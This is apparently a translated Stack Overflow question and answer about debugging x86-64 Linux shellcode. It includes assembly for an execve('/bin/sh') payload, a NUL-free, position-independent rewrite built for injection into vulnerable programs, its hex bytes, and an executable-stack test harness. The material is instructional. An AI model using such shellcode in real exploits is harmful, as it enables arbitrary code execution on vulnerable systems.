Shellcode: instruction illégale

Oct 19 2020

Je suis nouveau dans le développement de shellcode et je ne comprends pas pourquoi le shellcode généré ne fonctionne pas comme prévu.

Code de l'assembleur:

Basé sur une réponse à ma question précédente.

.section .data
cmd:    .string "/bin/sh"               /* command string */
hand:   .string "-c"                    /* command arguments string */
args:   .string "ls -al"                /* arguments string */
argv:   .quad cmd                       /* array of command, command arguments and arguments */
        .quad hand
        .quad args
        .quad 0

.section .text
.globl _start
_start:
        movq    $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0,             %rdx    /* save NULL to rdx */

        syscall                         /* make system call */

Code de test C:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Production:

Illegal instruction

Détails: Kali Linux GNU / Linux i386 x86_64

Réponses

2 MichaelPetch Oct 19 2020 at 01:02

Le problème avec votre code est que la chaîne shell que vous avez générée n'inclut aucune des données. Et les données incluent des pointeurs absolus, elles ne sont donc pas indépendantes de la position, elles ne fonctionneraient donc pas si vous les aviez déplacées .textet incluses. Une fois exécuté dans un autre programme comme vous le faites dans le code C , le programme tentera de trouver des données qui n'existent pas et à des emplacements de mémoire fixes qui ne s'appliquent pas au programme exploitable que vous exécutez à l'intérieur.

Je pense que vous pouvez avoir un autre problème à l'origine de l'instruction illégale . Vous ne montrez pas comment vous construisez votre programme C , mais je me demande s'il est 32 bits et votre shellcode est 64 bits. Je commence à penser que votre programme C a peut-être été compilé en tant que programme 32 bits et que l' instruction illégale peut être due au fait que vous ne pouvez pas exécuter de manière fiable du code 64 bits (le code shell) dans un programme 32 bits. Par exemple, l' SYSCALLinstruction est un opcode non valide dans un programme 32 bits sur des processeurs non AMD. C'est juste une supposition en l'absence de plus de détails sur la façon dont vous compilez / assemblez / liez votre code shell et votre programme C.


Vous devrez générer du code indépendant de la position (PIC) afin qu'il puisse s'exécuter n'importe où une fois chargé sur la pile. Vos données devront être placées à l'intérieur du segment avec le code. Le code doit également éviter de générer le caractère NUL (0x00) car cela mettrait prématurément fin à une chaîne si elle était fournie comme entrée utilisateur dans un programme exploitable réel.

Une version de votre code qui pourrait être utilisée à de telles fins pourrait ressembler à:

shellcode.s :

# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.

.section .text
.globl _start
_start:
    jmp overdata                 # Mix code and DATA in same segment

# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh"            # Program to run
name_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c"                 # Program argument
arg1_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls"                 # Program Argument
arg2_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code

overdata:
    xor  %eax, %eax              # RAX = 0

    # All references to the data before our code will use a negative offset from RIP
    # and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
    # in the code. We use RIP relative addressing so the code will be position
    # independent once loaded in memory.

    # Zero terminate each of the strings
    mov  %al, arg2_nul(%rip)     
    mov  %al, arg1_nul(%rip) 
    mov  %al, name_nul(%rip)

    lea  name(%rip), %rdi        # RDI = pointer to program name string

    push %rax                    # NULL terminate the program argument array
    leaq arg2(%rip), %rsi
    push %rsi                    # Push address of the 3rd program argument on stack
    lea  arg1(%rip), %rsi
    push %rsi                    # Push address of the 2nd program argument on stack
    push %rdi                    # Push address of the program name on stack as 1st arg
    mov  %rsp, %rsi              # RSI = Pointer to the program argument array

    mov  %rax, %rdx              # RDX = 0 = NULL envp parameter

    mov $59, %al                 # RAX = execve system call number

    syscall

Vous pouvez générer une chaîne de style C avec:

as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

La hexdumpcommande ci-dessus produirait:

\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05

Vous remarquerez qu'il n'y a pas de \x00caractères contrairement à votre code. Vous pouvez utiliser cette chaîne directement dans un programme C comme:

exploit.c :

int main(void)
{
    char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

Cela doit être compilé et lié avec une pile exécutable:

gcc -zexecstack exploit.c -o exploit

strace ./exploitgénérerait un EXECVEappel système similaire à:

execve ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0


Remarque : je créerais personnellement les chaînes par programme sur la pile, comme le code d'une autre réponse Stackoverflow que j'ai écrite.